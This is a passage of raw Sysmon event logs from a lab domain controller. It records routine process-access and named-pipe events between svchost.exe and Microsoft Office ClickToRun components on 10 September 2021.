Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040952Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.237{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.237{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.237{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.237{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.237{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.221{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.221{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.206{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.206{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.206{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.190{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.190{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.174{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.174{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.174{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.159{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.159{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.143{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.143{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.127{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.127{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.127{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.112{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.112{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.096{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.081{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.081{7BD73061-65B2-613B-0C00-00000000F001}8363936C:\Windows\system32\svchost.exe{7BD73061-6F34-613B-7908-00000000F001}860C:\Program Files\Microsoft Office\root\integration\integrator.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.081{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.081{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.065{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.065{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:06.065{7BD73061-6E00-613B-E006-00000000F001}5992\FTA_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 10341000x800000000000000040914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.049{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.049{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.034{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.034{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.034{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.018{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.018{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.002{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:06.002{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.987{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000040904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:05.987{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+92043|c:\windows\system32\fntcache.dll+68312|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 18141800x800000000000000040903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.971{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe 18141800x800000000000000040902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-ConnectPipe2021-09-10 14:44:05.971{7BD73061-6E00-613B-E006-00000000F001}5992\ShortcutNotifier_5216C:\Program Files\Common 